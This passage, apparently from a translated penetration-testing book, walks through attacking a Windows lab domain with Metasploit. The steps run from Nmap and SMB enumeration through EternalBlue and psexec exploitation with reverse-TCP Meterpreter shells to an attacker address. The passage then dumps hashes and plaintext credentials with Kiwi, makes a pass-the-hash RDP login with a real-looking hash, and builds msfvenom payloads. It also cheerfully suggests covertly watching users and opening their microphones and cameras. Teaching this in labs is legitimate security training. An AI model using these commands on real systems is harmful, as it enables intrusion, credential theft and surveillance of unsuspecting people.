    Resource Script Commands
    ========================

    Command Description
    ------- -----------
    makerc Save commands entered since start to a file
    resource Run the commands stored in a file

    Database Backend Commands
    =========================

    Command Description
    ------- -----------
    db_connect Connect to an existing database
    db_disconnect Disconnect from the current database instance
    db_export Export a file containing the contents of the database
    db_import Import a scan result file (filetype will be auto-detected)
    db_nmap Executes nmap and records the output automatically
    db_rebuild_cache Rebuilds the database-stored module cache
    db_status Show the current database status
    hosts List all hosts in the database
    loot List all loot in the database
    notes List all notes in the database
    services List all services in the database
    vulns List all vulnerabilities in the database
    workspace Switch between database workspaces

    Credentials Backend Commands
    ============================

    Command Description
    ------- -----------
    creds List all credentials in the database

要获取单个命令的帮助,请输入help <command>,如下面的屏幕截图所示。我们有两个示例显示usehosts命令的帮助。我们有一个列表显示其用法和与命令一起使用的任何标志的解释:

首先,我们需要设置一个工作区。工作区在保持测试有序方面非常有帮助。工作区包含测试的所有收集数据,包括在利用期间收集的任何登录凭据和任何系统数据。最好将测试数据分开,以便稍后可以比较以前测试的结果。我们将设置一个名为TestCompany-int-20180830的项目。这是一种命名项目的方式,格式为<client-name>-[ int(内部)| ext(外部)]-<start-date(unix-style)>。这样可以帮助您在 6 个月后记住哪个测试是什么。

要创建新项目,请输入以下内容:

workspace -a TestCompany-int-20180830  

通过输入workspace,我们可以看到数据库中工作区的列表。运行命令时,您将在TestCompany-int-20180830工作区旁看到一个星号。这表明当您创建工作区时,您也进入了它。星号表示活动工作区。

要进入工作区,请输入以下内容:

workspace TestCompany-int-20180830   

我们可以使用db_import命令从扫描应用程序生成的 XML 文件中将数据从扫描中提取到工作区。所有扫描应用程序都将其数据导出到 XML,Metasploit 将自动从主要扫描应用程序导入数据:

以下是将自动导入 Metasploit 的支持的扫描类型列表:

  • Acunetix

  • Amap 日志

  • Amap 日志 -m

  • Appscan

  • Burp 会话 XML

  • Burp 问题 XML

  • CI

  • Foundstone

  • FusionVM XML

  • IP 地址列表

  • IP360 ASPL

  • IP360 XML v3

  • Libpcap 数据包捕获

  • Masscan XML

  • Metasploit PWDump 导出

  • Metasploit XML

  • Metasploit Zip 导出

  • Microsoft 基线安全分析器

  • NeXpose 简单 XML

  • NeXpose XML 报告

  • Nessus NBE 报告

  • Nessus XML(v1)

  • Nessus XML(v2)

  • NetSparker XML

  • Nikto XML

  • Nmap XML

  • OpenVAS 报告

  • OpenVAS XML

  • Outpost24 XML

  • Qualys 资产 XML

  • Qualys 扫描 XML

  • Retina XML

  • Spiceworks CSV 导出

  • Wapiti XML

您还可以使用 Nmap 导入主机、服务和网络信息,并直接将 Nmap 的输出导入 Metasploit,使用 MSFconsole 的db_nmap命令。此命令适用于所有正常的nmap命令行标志。db_告诉 Metasploit 导入数据。只运行nmap将运行扫描,但不会直接将数据导入 Metasploit。您只会看到命令的输出。

要直接导入 Nmap 扫描,请运行以下命令:

db_nmap -A -sV -O 172.16.42.0/24  

-A告诉nmap运行所有测试。-sV告诉 Nmap 记录任何运行服务的版本。-O告诉 Nmap 记录任何运行主机的操作系统。我们将看到运行扫描的输出,但这些数据也被收集到数据库中。然后我们还可以通过运行hostsservices命令来查看导入后的结果。

以下代码显示了运行这些命令的结果:

hosts
services  

使用hosts命令,我们可以获得所有活动 IP 地址、任何收集的机器名称和机器的操作系统的列表。通过运行服务命令,我们可以获得网络上所有运行的服务及其相关的 IP 地址列表。您可以使用-c标志从命令更改表列表。有关此信息的帮助,请查看帮助。

使用高级足迹

漏洞扫描只提供了一些信息。实际攻击机器时,您需要进行一些深层探测,以检查有用的信息泄漏。从扫描中,我们可以看到一个 Windows 域控制器和一个运行 Windows 2008 服务器的 Windows 文件服务器。两者都在运行 SMB/NetBIOS 服务。这看起来是最可能的攻击路径。SMB/NetBIOS 服务存在已知的弱点。因此,让我们更仔细地查看这些服务。

在完全进行足迹识别之前,关于笔记的一点说明。特别是在进行手动探测时,请记住记录您的输出和发现。复制/粘贴是您最好的朋友。漏洞扫描总是生成漂亮的报告,其中所有数据都编译在一个地方。手动探测不会这样,所以这取决于您,您将收集许多以后会用到的数据。使用 KeepNote,我们在第一章中首先访问的内容,选择您的发行版

以下是 Bo 进行测试的正常布局。KeepNote 最好的地方在于其框架非常开放,可以根据您的喜好进行设置和使用。此设置使用以下内容:

  • 找到客户公司的文件夹

  • 一般项目笔记页面

  • 目标文件夹

  • 每个正在测试的系统的单独页面。

KeepNote 甚至带有一个不错的 导出为 HTML 工具,您可以使用该工具导出您的笔记,其他人可以在没有 KeepNote 的情况下阅读它们。

  1. 首先,让我们使用 nbtscan 快速查看我们需要的域名或工作组名称以及其他基本的 NetBIOS 数据。因此,让我们打开一个新的终端窗口并运行以下命令:
nbtscan -v -s : 192.168.202.0/24

-v 标志用于详细模式,并将打印出所有收集到的信息。-s : 标志将使用冒号制表格式分隔数据:

我们可以看到域名是 LAB1,所有计算机都是该域的成员。我们以后会需要这些信息。

  1. 回到 MSFconsole 窗口,运行以下命令:
msf> search smb  

我们得到了与 SMB 服务相关的所有模块的列表。这是扫描、探测、利用和后利用模块的列表。首先,我们将检查是否有共享目录,并检查访客帐户是否有任何权限。我们选择 auxiliary/scanner/smb/smb_enumshares。您可以通过按 Ctrl + Shift + C 选择文本并复制它,然后可以使用 Ctrl + Shift +V 粘贴:

  1. 要使用该模块,请运行以下命令:
use auxiliary/scanner/smb/smb_enumshares  

这将使您进入模块。我们使用此模块的方式是使用所有模块的正常方式。不同模块的配置可能会改变进入模块的操作,但配置是相同的。

  1. 与使用 use 命令进入模块的方式相反,use 命令用于打开任何模块。要退出模块,请输入以下命令:
back  

这将带您回到 MSF 提示符。

  1. 运行以下命令:
info auxiliary/scanner/smb/smb_enumshares  

使用此命令,我们可以查看有关模块的信息和帮助信息,而无需实际进入模块。

  1. 进入模块后,输入以下命令:
show options  

这将显示模块的可用参数。使用此模块,我们需要设置要探测的域名和用户帐户的主机。通过使用空的 SMBUser 帐户运行此模块,您可以检查 Everyone 组是否具有任何权限。将其设置为 Guest 将检查访客帐户是否已启用,并将检查 Everyone 组。

请注意,我们有一个名为 RHOSTS 的参数。这是设置要探测的主机的参数。这是一个扫描器模块,因此参数是复数形式,可以接受网络范围或单个主机。

  1. 通过输入以下命令设置配置:
set RHOSTS 192.168.202.3
set SMBDomain LAB1
set SMBUser Guest
show options  

show options 将再次显示配置,因此您可以在运行扫描之前检查它:

解释扫描并根据结果进行构建

在以下截图中,我们可以通过输入以下命令查看扫描结果:

exploit  

我们可以看到扫描失败了,但给了我们宝贵的信息。首先,通过扫描失败,我们现在知道没有共享对 Everyone 组是开放的。通过响应,我们可以看出服务是活跃的,但拒绝连接。其次,我们可以看到,事实上,访客账户被禁用了。有人可能会说这没有任何进展,但从中我们已经确定了服务是活跃的,并接受来自我们 IP 地址的连接。这对我们下一步行动是重要信息:

SMB 服务使用 RPC 管道传输信息,RPC 服务有时会泄露系统信息,所以让我们看看我们得到了什么。为了做到这一点,我们将使用 DCERPC Pipe Auditor 模块:

use auxiliary/scanner/smb/pipe_dcerpc_auditor
show options  

在以下代码中,我们看到了模块配置。我们可以使用箭头键向上箭头到之前模块的配置,并设置SMBDomainRHOSTS设置:

set SMBDomain LAB1
set RHOSTS 192.168.202.3
show options
exploit  

看起来我们的 SMB 服务被很好地锁定了。我们马上就会看到。

通过之前的扫描,我们可以看出这台机器已经有一段时间没有打补丁了。另外从我们的网络足迹,我们知道这是一个 Windows 2008 服务器,所以这排除了使用早于 2008 年的漏洞利用。我们还可以从我们的探针中得知服务器配置存在弱点。我们需要一个能绕过这些障碍的漏洞利用。

选择合适的漏洞利用是经验和反复尝试的问题。并非所有的漏洞利用都有效,有些可能需要多次尝试才能成功攻击系统。有些有时有效,然后在下一次尝试时失败。如果一开始没有成功,不要放弃。

在以下代码中,我们选择了auxiliary/scanner/smb/smb_ms17_010。这将检查系统是否容易受到 NSA 的方程式组织通过 Shadow Brokers 泄露的漏洞利用的攻击。这些漏洞利用包括 EnernalBlue、EternalRomance、EternalChampion 和 EternalSynergy。这些漏洞利用也是广为人知的勒索软件病毒 Wanacry 和 Petya 的基础,这些病毒曾在互联网上的许多网络中造成严重破坏。这些漏洞利用是攻击向量,用于获取访问权限、上传和运行有效载荷,加密受感染机器的驱动器。稍后,我们将使用这些漏洞利用来完成相同的任务,但是,我们不会破坏数据,而是窃取系统信息和用户凭据。所以,让我们扫描一下,看看我们的网络上是否有易受攻击的主机。要使用这个扫描工具,输入以下命令:

use auxiliary/scanner/smb/smb_ms17_010  

这将让你进入模块。要查看所需的选项,输入以下命令:

show options 

然后你会看到以下选项:

Module options (auxiliary/scanner/smb/smb_ms17_010):

Name Current Setting Required Description
---- --------------- -------- -----------
CHECK_ARCH true no Check for architecture on vulnerable hosts
CHECK_DOPU true no Check for DOUBLEPULSAR on vulnerable hosts
CHECK_PIPE false no Check for named pipe on vulnerable hosts
NAMED_PIPES /usr/share/metasploit-framework/data/wordlists/named_pipes.txt yes List of named pipes to check
RHOSTS yes The target address range or CIDR identifier
RPORT 445 yes The SMB service port (TCP)
SMBDomain . no The Windows domain to use for authentication
SMBPass no The password for the specified username
SMBUser no The username to authenticate as
THREADS 1 yes The number of concurrent threads  

我们需要设置一些选项来运行这个:

set RHOST 172.16.42.0/24 # This sets the target network
set SMBDomain LAB1 # We gained this information earlier.
set THREADS 5 # This will speed up the scan checking 5 hosts at a time.

然后设置以下内容:

exploit # To run the scan.  

当我们查看结果时,似乎我们有很多易受攻击的主机可供选择,如下截图所示:

很多易于攻击的目标。让我们挑一些。通过运行ms10_010的搜索,我们将找到与此漏洞相关的漏洞利用:

search ms17_010  

你会看到以下的漏洞利用:

我们有来自同一框架的三个漏洞利用。ms17_010_eternalblue漏洞利用在 64 位系统上效果最好。实际上,如果你输入 show payloads,你会发现只有 x64 payloads 被显示出来。我曾经使用 x32 位 payloads,并成功在 32 位系统上运行,但这可能会导致 32 位系统挂起,导致蓝屏或重启。

ms17_010_psexec漏洞利用在 32 位系统上效果最好。ms17_010_eternalblue_win8漏洞利用在 Win8 和 Win10 系统上效果最好。这个漏洞利用还可以绕过这些系统上的 ASLR 保护。

我发现这些漏洞在域控制器上效果不佳。这很可能是因为域控制器期望 Active Directory 登录凭据,并且无法允许连接到 SMB 服务。最好选择另一台服务器,然后横向移动到域控制器。这将是我们的攻击策略。

从之前的扫描中,我们发现有一个易受攻击的 64 位系统,BO-SRV3。我们将使用ms17_010_eternalblue漏洞利用来妥协这个系统。使用以下代码加载模块:

use exploit/windows/smb/ms17_010_eternalblue
show options # to show the options  

对于选项,您需要加载以下内容:

set RHOST 172.16.42.7
set SMBDomain LAB1

要查看可用的有效载荷,请输入以下命令:

show payloads  

我们将使用以下内容:

set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 172.16.42.140 # This will be kali's IP address
show options # To check your set up  

如果一切看起来正常,我们会得到以下结果:

exploit  

中了!我们赢了!我们看到漏洞利用成功运行,我们有了一个 Meterpreter shell:

运行以下命令,我们可以看到我们远程连接到了具有完整系统级访问权限的系统:

sysinfo # This shows the system's information
getuid # This will show the user access level
ipconfig # Shows the IP address of the compromised system.  

是时候抢劫和掠夺了:

hashdump  

在下面的截图中,我们看到我们已经倒出了本地哈希:

所以我们有本地管理员的哈希。很可能这也是域控制器和其他主机上的本地管理员,但让我们也倒一些 Active Directory 信息。为了做到这一点,我们需要加载 Kiwi 工具包:

load kiwi

要查看命令,请随时输入help。以下是 Kiwi 命令列表:

Kiwi Commands
=============
Command Description
------- -----------
creds_all Retrieve all credentials (parsed)
creds_kerberos Retrieve Kerberos creds (parsed)
creds_msv Retrieve LM/NTLM creds (parsed)
creds_ssp Retrieve SSP creds
creds_tspkg Retrieve TsPkg creds (parsed)
creds_wdigest Retrieve WDigest creds (parsed)
dcsync Retrieve user account information via DCSync (unparsed)
dcsync_ntlm Retrieve user account NTLM hash, SID and RID via DCSync
golden_ticket_create Create a golden kerberos ticket
kerberos_ticket_list List all kerberos tickets (unparsed)
kerberos_ticket_purge Purge any in-use kerberos tickets
kerberos_ticket_use Use a kerberos ticket
kiwi_cmd Execute an arbitary mimikatz command (unparsed)
lsa_dump_sam Dump LSA SAM (unparsed)
lsa_dump_secrets Dump LSA secrets (unparsed)
password_change Change the password/hash of a user
wifi_list List wifi profiles/creds for the current user
wifi_list_shared List shared wifi profiles/creds (requires SYSTEM)  

使用creds_all命令将获得msvwdigesttspkgkerberos凭据。基本上是对机器上所有保存或存储的凭据的转储。请注意,我们从最近登录到系统的域用户那里捕获了明文域凭据:

所以一个已完成,有了攻击域控制器的凭据。

输入以下内容以退出 Meterpreter 会话而不关闭会话:

background
sessions # This will show you the session is still running.  

利用 32 位系统

在之前的部分中,我们使用标准的 EternalBlue 漏洞攻击了 64 位机器。现在让我们使用psexec模块来妥协 32 位系统。我们使用这个模块,因为我们从上次的利用中收集了凭据。这次我们要攻击网络上的一个工作站。工作站通常被很多不同的人使用,所以这台机器上应该有很多存储的凭据。我们拥有的凭据越多,我们的访问权限就越大。要使用这个模块,请输入以下内容:

use exploit/windows/smb/psexec
show options # To see the module's options.  

我们需要加载与之前相同的选项,但我们将攻击172.16.42.173 \\WIN7-01

set RHOST 172.16.42.173 # Set the victim host.
set SMBDomain LAB1 # Set the domain.
set SMBUser fflintstone # The captured username
set SMBPass CatKeeper! # The captured clear text credentials (This can be a hash!)
show options # To check your settings.  

接下来,我们需要选择有效载荷,因此运行以下命令以查看可用的有效载荷:

show payloads  

在上一个利用中,当我们运行此命令时,我们只看到 64 位有效载荷。这次,我们看到可以选择 32 位和 64 位有效载荷。WIN7-01 是 32 位的,所以我们需要选择正确的有效载荷:

set PAYLOAD windows/meterpreter/reverse_tcp 

您会注意到这是相同类型的反向 TCP 有效载荷,但在其命令行中不显示 x64。这是 32 位系统的有效载荷。

如果您之前没有全局设置LHOST(您的 Kali 机器),现在需要设置它:

set LHOST 172.16.42.140 # This sets the local host. Use setg to set this value globally. 

黑客提示

Metasploit 将自动尝试设置LHOST接口以进行利用。如果 Kali 机器连接到两个或更多网络,这可能会导致问题。利用处理程序可能连接到错误的网络,导致利用失败。通常,在运行 Metasploit 时,进入我的工作区后,我会全局设置LHOST接口,使用setg全局选项设置到本地主机。

再次运行show options命令,我们可以看到攻击远程主机的正确设置:

在下面的截图中,我们还看到我们在本地机器上的处理程序设置正确:

接下来,运行以下命令:

exploit  

哎呀!我们又有一个主机被入侵,获得了完整的系统级访问权限。

运行以下命令:

sysinfo # This shows the system's information.
getuid # This shows the level of access to the system.
hashdump # To dump the local hashes and user accounts.
load kiwi # To load the Kiwi Toolset.  

再次加载 Kiwi 后,我们运行creds_all命令并在系统上转储所有保存或存储的凭据,包括系统和域凭据。

在这两个系统之间,我们现在有足够的凭据,我们知道现在可以毫无问题地接管域控制器。

使用 Xfreerdp 访问系统

Xfreerdp是 Kali 上用于使用 RDP 协议访问 Windows 系统的 RDP 客户端。当运行 Linux 时,Rdesktop 是默认的普通 RDP 客户端。 Xfreerdp 具有一些黑客喜欢的很酷的功能。使用 Rdesktop,您必须使用明文密码。使用 Xfreerdp,您可以运行传递哈希攻击,并在不必破解捕获的哈希的情况下访问 Windows 远程桌面会话。 Xfreerdp 是从命令行运行的,没有 GUI 界面。

您可以通过输入以下内容获取支持的选项的完整列表:

xfreerdp -help  

以下是帮助文件和支持的选项的副本:

FreeRDP - A Free Remote Desktop Protocol Implementation See www.freerdp.com for more information Usage: xfreerdp [file] [options] [/v:<server>[:port]] Syntax: /flag (enables flag) /option:<value> (specifies option with value) +toggle -toggle (enables or disables toggle, where '/' is a synonym of '+') /a:<addin>[,<options>] Addin /action-script:<file-name> Action script /admin Admin (or console) session +aero Enable desktop composition (default:off) /app:<path> or ||<alias> Remote application program /app-cmd:<parameters> Remote application command-line parameters /app-file:<file-name> File to open with remote application /app-guid:<app-guid> Remote application GUID /app-icon:<icon-path> Remote application icon for user interface /app-name:<app-name> Remote application name for user interface /assistance:<password> Remote assistance password +async-channels Asynchronous channels (experimental) (default:off) +async-input Asynchronous input (default:off) +async-transport Asynchronous transport (experimental) (default:off) +async-update Asynchronous update (default:off) /audio-mode:<mode> Audio output mode +auth-only Authenticate only (default:off) -authentication Authentication (expermiental) (default:on) +auto-reconnect Automatic reconnection (default:off) /auto-reconnect-max-retries:... Automatic reconnection maximum retries, 0 for unlimited [0,1000] -bitmap-cache Enable bitmap cache (default:on) /bpp:<depth> Session bpp (color depth) /buildconfig Print the build configuration /cert-ignore Ignore certificate /cert-name:<name> Certificate name /cert-tofu Automatically accept certificate on first connect /client-hostname:<name> Client Hostname to send to server -clipboard Redirect clipboard (default:on) /codec-cache:rfx|nsc|jpeg Bitmap codec cache -compression Enable compression (default:on) /compression-level:<level> Compression level (0,1,2) +credentials-delegation Disable credentials delegation (default:off) /d:<domain> Domain -decorations Window decorations (default:on) /disp Display control /drive:<name>,<path> Redirect directory <path> as named share <name> +drives Redirect all mount points as shares (default:off) /dvc:<channel>[,<options>] Dynamic virtual channel /dynamic-resolution Send resolution updates when the window is resized /echo Echo channel -encryption Encryption (experimental) (default:on) /encryption-methods:... RDP standard security encryption methods /f Fullscreen mode (<Ctrl>+<Alt>+<Enter> toggles fullscreen) -fast-path Enable fast-path input/output (default:on) +fipsmode Enable FIPS mode (default:off) +fonts Enable smooth fonts (ClearType) (default:off) /frame-ack:<number> Number of frame acknowledgement /from-stdin[:force] Read credentials from stdin. With <force> the prompt is done before connection, otherwise on server request. /g:<gateway>[:<port>] Gateway Hostname /gateway-usage-method:direct|detect Gateway usage method /gd:<domain> Gateway domain /gdi:sw|hw GDI rendering /geometry Geometry tracking channel +gestures Consume multitouch input locally (default:off) /gfx[:RFX|AVC420|AVC444] RDP8 graphics pipeline (experimental) /gfx-h264[:AVC420|AVC444] RDP8.1 graphics pipeline using H264 codec +gfx-progressive RDP8 graphics pipeline using progressive codec (default:off) +gfx-small-cache RDP8 graphics pipeline using small cache mode (default:off) +gfx-thin-client RDP8 graphics pipeline using thin client mode (default:off) +glyph-cache Glyph cache (experimental) (default:off) /gp:<password> Gateway password -grab-keyboard Grab keyboard (default:on) /gt:rpc|http|auto Gateway transport type /gu:... Gateway username /gat:<access token> Gateway Access Token /h:<height> Height +heartbeat Support heartbeat PDUs (default:off) /help Print help +home-drive Redirect user home as share (default:off) /ipv6 Prefer IPv6 AAA record over IPv4 A record /jpeg Enable JPEG codec /jpeg-quality:<percentage> JPEG quality /kbd:0x<id> or <name> Keyboard layout /kbd-fn-key:<value> Function key value /kbd-list List keyboard layouts /kbd-subtype:<id> Keyboard subtype /kbd-type:<id> Keyboard type /load-balance-info:<info-string> Load balance info /log-filters:... Set logger filters, see wLog(7) for details /log-level:... Set the default log level, see wLog(7) for details /max-fast-path-size:<size> Specify maximum fast-path update size /max-loop-time:<time> Specify maximum time in milliseconds spend treating packets +menu-anims Enable menu animations (default:off) /microphone[:...] Audio input (microphone) /monitor-list List detected monitors /monitors:<id>[,<id>[,...]] Select monitors to use -mouse-motion Send mouse motion (default:on) /multimedia[:...] Redirect multimedia (video) /multimon[:force] Use multiple monitors +multitouch Redirect multitouch input (default:off) +multitransport Support multitransport protocol (default:off) -nego Enable protocol security negotiation (default:on) /network:... Network connection type /nsc Enable NSCodec -offscreen-cache Enable offscreen bitmap cache (default:on) /orientation:0|90|180|270 Orientation of display in degrees /p:<password> Password /parallel[:<name>[,<path>]] Redirect parallel device /parent-window:<window-id> Parent window id +password-is-pin Use smart card authentication with password as smart card PIN (default:off) /pcb:<blob> Preconnection Blob /pcid:<id> Preconnection Id /pheight:<height> Physical height of display (in millimeters) /play-rfx:<pcap-file> Replay rfx pcap file /port:<number> Server port +print-reconnect-cookie Print base64 reconnect cookie after connecting (default:off) /printer[:<name>[,<driver>]] Redirect printer device /proxy:[<proto>://]<host>:<port> Proxy (see also environment variable below) /pth:<password-hash> Pass the hash (restricted admin mode) /pwidth:<width> Physical width of display (in millimeters) /reconnect-cookie:<base64-cookie> Pass base64 reconnect cookie to the connection /restricted-admin Restricted admin mode /rfx RemoteFX /rfx-mode:image|video RemoteFX mode /scale:100|140|180 Scaling factor of the display /scale-desktop:<percentage> Scaling factor for desktop applications (value between 100 and 500) /scale-device:100|140|180 Scaling factor for app store applications /sec:rdp|tls|nla|ext Force specific protocol security +sec-ext NLA extended protocol security (default:off) -sec-nla NLA protocol security (default:on) -sec-rdp RDP protocol security (default:on) -sec-tls TLS protocol security (default:on) /serial[:...] Redirect serial device /shell:<shell> Alternate shell /shell-dir:<dir> Shell working directory /size:... Screen size /smart-sizing[:<width>x<height>] Scale remote desktop to window size /smartcard[:<name>[,<path>]] Redirect smartcard device /sound[:...] Audio output (sound) /span Span screen over multiple monitors /spn-class:<service-class> SPN authentication service class /ssh-agent SSH Agent forwarding channel /t:<title> Window title -themes Enable themes (default:on) /tls-ciphers:netmon|ma|ciphers Allowed TLS ciphers -toggle-fullscreen Alt+Ctrl+Enter toggles fullscreen (default:on) /u:... Username +unmap-buttons Let server see real physical pointer button (default:off) /usb:... Redirect USB device /v:<server>[:port] Server hostname /vc:<channel>[,<options>] Static virtual channel /version Print version /video Video optimized remoting channel /vmconnect[:<vmid>] Hyper-V console (use port 2179, disable negotiation) /w:<width> Width -wallpaper Enable wallpaper (default:on) +window-drag Enable full window drag (default:off) /wm-class:<class-name> Set the WM_CLASS hint for the window instance /workarea Use available work area Examples: xfreerdp connection.rdp /p:Pwd123! /f xfreerdp /u:CONTOSO\JohnDoe /p:Pwd123! /v:rdp.contoso.com xfreerdp /u:JohnDoe /p:Pwd123! /w:1366 /h:768 /v:192.168.1.100:4489 xfreerdp /u:JohnDoe /p:Pwd123! /vmconnect:C824F53E-95D2-46C6-9A18-23A5BB403532 /v:192.168.1.100 Clipboard Redirection: +clipboard Drive Redirection: /drive:home,/home/user Smartcard Redirection: /smartcard:<device> Serial Port Redirection: /serial:<name>,<device>,[SerCx2|SerCx|Serial],[permissive] Serial Port Redirection: /serial:COM1,/dev/ttyS0 Parallel Port Redirection: /parallel:<name>,<device> Printer Redirection: /printer:<device>,<driver> Audio Output Redirection: /sound:sys:oss,dev:1,format:1 Audio Output Redirection: /sound:sys:alsa Audio Input Redirection: /microphone:sys:oss,dev:1,format:1 Audio Input Redirection: /microphone:sys:alsa Multimedia Redirection: /multimedia:sys:oss,dev:/dev/dsp1,decoder:ffmpeg Multimedia Redirection: /multimedia:sys:alsa USB Device Redirection: /usb:id,dev:054c:0268 For Gateways, the https_proxy environment variable is respected: export https_proxy=http://proxy.contoso.com:3128/ xfreerdp /g:rdp.contoso.com ... More documentation is coming, in the meantime consult source files  

正如我们所看到的,此应用程序具有比 Rdesktop 更多的支持功能,并且对于正常访问 Windows 机器来说也是一个很棒的应用程序。可以通过调用文件来构建配置文件,并且可以启动复杂的设置。这些功能中的许多功能超出了本书的范围。让我们看看最有用的标志,/pth:<password-hash>。此标志将传递哈希而不是明文密码并登录系统。以下是我用于访问系统的字符串:

xfreerdp -v:172.16.42.5 /u:Administrator /pth:aad3b435b51404eeaad3b435b51404ee:23900518f88d6ec5ae40e134fdbb1959 /d:LAB1 

如果我们知道密码,我们可以使用以下标志访问系统:

xfreerdp -v:172.16.42.5 /u:Administrator /p: 442Night! /d:LAB1  

等等,还有更多!

不仅可以使用此应用程序访问远程桌面,而且通过使用 RDP 进入系统并设置远程协助,您可以使用/assistance:<password>标志再次使用此应用程序登录,现在您可以观看已登录用户的桌面。只需小心您的鼠标,否则用户会知道您在那里。

通过使用音频和多媒体标志,攻击者可以在远程系统上打开麦克风和摄像头,并对毫无戒心的用户进行窥探。当您可以远程访问笔记本电脑时,谁还需要花哨的间谍技术?笔记本电脑现在是窃丨听丨器。(人们想知道为什么我在摄像头上贴了创可贴)。

摘要

在本章中,您已经学会了如何使用已知漏洞访问系统以及如何使用窃取的凭据在机器之间移动。您已经了解了来自 NSA 的泄露漏洞以及它们的使用方式,以及一些这些漏洞如今在互联网上造成的混乱。

在下一章中,您将学习如何将您的权限从普通用户帐户提升到 SYSTEM 级别访问权限,当您只有普通用户权限时。

进一步阅读

永恒之蓝:

第八章:Windows 权限提升和保持访问

在本章中,您将学习一旦利用了系统,如何将您的权限提升到系统级别访问。您还将学习即使攻击失败时如何从系统中获取信息。没有完全的失败;即使事情出错时,总是有东西可以学习。您将学习如何向您的攻击添加持久性,以保持对受害者机器的未来访问。

在本章中,您将学习以下主题:

  • Windows 权限提升

  • MS16-032 次要登录句柄权限提升

  • Windows 提升服务权限本地权限提升

  • 保持访问

技术要求

在本章中,您将需要一个目标 Windows 机器和一个正在运行的 Kali 实例。

Windows 权限提升

特权提升是获得比所使用的帐户被赋予的更高级别访问权限。在黑客术语中,这被称为rooting the box。这来自 UNIX/Linux 世界,其中 root 是管理员帐户。有了这个访问级别,你就拥有了这个系统。在 Windows 系统中,管理员帐户具有管理员级别的访问权限,并且可以对系统进行几乎任何操作。但是,在 Windows 中,还有更高级别的访问权限,称为系统。有了这个帐户,您可以完全控制系统的所有级别。这就是我们想要的访问级别。

获得用户帐户的访问权限比攻击中获得域管理员帐户要容易得多。用户帐户比管理员帐户更多,因此仅仅通过数量来捕获其中一个(有线或无线)更容易。用户帐户通常被锁定,因此您无法获得对机器系统级别的任何真正访问权限。在这里,我们将绕过这一点。一旦获得对机器的实际访问权限,提升您的权限就很容易,我们将看到。

在本章中,我们有一个由防火墙保护的网络,其中有两台服务器和两台工作站。网络还有一个无线接入点。作为攻击者,我们通过无线设备侵入了网络,并使用 SMB 中毒攻击从网络中获取了用户帐户哈希。使用这些窃取的凭据,我们将访问网络上的工作站,并逐步提升网络阶梯,以获得对域控制器的访问权限。

提升您的权限

我们使用 Responder 工具运行了 SMB 中毒攻击,并捕获了两个帐户。一个是用户帐户fflintstone,我们很幸运地还捕获了Administrator帐户的一个 NTLMv2 哈希。正如我们在下面的屏幕截图中所看到的,通过运行攻击以将 HTTP-NTLM 支持降级为基本支持,我们捕获了fflintstone的明文密码,因此我们有一个加密密码可供使用。NTLMv2 哈希与 V1 哈希不同,V2 哈希使用服务器到客户端通信中给出的挑战和响应进行加盐。因此,我们不能仅仅使用哈希来代替实际密码进行登录,但如果只捕获到哈希,我们可以使用密码破解工具(如 John、Hashcat 或 Hydra)轻松破解这个哈希并获得实际密码。由于我们很幸运地获得了明文密码,我们将使用这个密码。

一旦我们获得了受害者的机器访问权限,我们将需要一个有效负载来连接到攻击机器。因此,让我们使用 MSFvenom 工具构建一个快速有效负载,以上传到我们的受害者。

MSFvenom

MSFvenom 是一个利用打包工具,配备了 Metasploit 框架。MSFvenom 能够构建从简单利用到包含代码以混淆用于绕过反病毒服务的利用的复杂利用。在这里,我们将构建一个简单的利用来运行。通常,我会首先构建和运行简单的利用,如果反病毒出现问题,我会尝试构建一个绕过反病毒的利用。

MSFvenom 是一个非常强大的工具,我们可以从以下help文件中看到:

    MsfVenom - a Metasploit standalone payload generator.
    Also a replacement for msfpayload and msfencode.
    Usage: /usr/bin/msfvenom [options] <var=val>
    Options:
    -p, --payload  <payload> Payload to use. Specify a '-' or stdin to use custom payloads
    --payload-options   List the payload's standard options
    -l, --list   [type]  List a module type. Options are: payloads, encoders, nops, all
    -n, --nopsled  <length>  Prepend a nopsled of [length] size on to the payload
    -f, --format  <format>  Output format (use --help-formats for a list)
    --help-formats    List available formats
    -e, --encoder  <encoder> The encoder to use
    -a, --arch   <arch>  The architecture to use
    --platform  <platform> The platform of the payload
    --help-platforms    List available platforms
    -s, --space   <length>  The maximum size of the resulting payload
    --encoder-space <length>  The maximum size of the encoded payload (defaults to the -s value)
    -b, --bad-chars  <list>  The list of characters to avoid example: '\x00\xff'
    -i, --iterations <count>  The number of times to encode the payload
    -c, --add-code  <path>  Specify an additional win32 shellcode file to include
    -x, --template  <path>  Specify a custom executable file to use as a template
    -k, --keep      Preserve the template behavior and inject the payload as a new thread
    -o, --out   <path>  Save the payload
    -v, --var-name  <name>  Specify a custom variable name to use for certain output formats
    --smallest     Generate the smallest possible payload
    -h, --help      Show this message

通过运行msfvenom --help-formats命令,我们可以得到有效负载可以编译为的格式列表。

可执行格式如下:

aspaspxaspx-exeaxis2dllelfelf-soexeexe-onlyexe-serviceexe-smallhta-pshjarjsploop-vbsmachomsimsi-nouacosx-apppshpsh-cmdpsh-netpsh-reflectionvbavba-exevba-pshvbswar

转换格式如下:

bashccsharpdwdwordhexjavajs_bejs_lenumperlplpowershellps1pypythonrawrbrubyshvbapplicationvbscript

现在我们有了我们的有效负载,我们需要将其上传,以便我们可以从受害者的机器上下载它。所有 Windows 系统都配备了内置的 FTP 客户端,可以通过命令行界面或使用 PowerShell 来运行。PowerShell 脚本也可以用于使用 FTP 或 HTTP 服务获取文件。就我个人而言,我喜欢简单的 FTP 客户端。Metasploit 专门为此目的内置了 FTP 服务器。要从 MSFconsole 启动此服务,请从命令行运行以下命令:

  • msfdb start:这将启动 Metasploit 数据库

  • mfsconsole:这将启动控制台

  • workspace <NameOfWorkspace>:这将使您进入现有的工作区

  • use auxiliary/server/ftp:这将使您进入 FTP 服务器配置

通过运行show options命令,我们可以看到服务的选项如下:

我们看到FTPROOT选项设置为/tmp/ftproot目录。对于一次性使用,您需要运行mkdir /tmp/ftproot命令,这将设置服务的目录并允许您将您的利用程序复制到此目录。这对一次性使用很好,但当系统关闭时,/tmp目录会被清空,因此目录和文件会被删除。有时,这是您想要的结果。我喜欢保留我的文件以备后用,因此我通过运行mkdir /var/ftproot命令来设置以下目录。此目录将永久保留,任何文件或利用程序在关闭后仍将保留。我们将保留FTPUSERFTPPASS字段为空,并使用匿名连接来获取文件,因为我们只会让此服务运行一段时间。如果您需要让服务运行一段时间,或者您在一个敌对网络上,可能明智地设置这两个选项。我们需要设置以下选项。

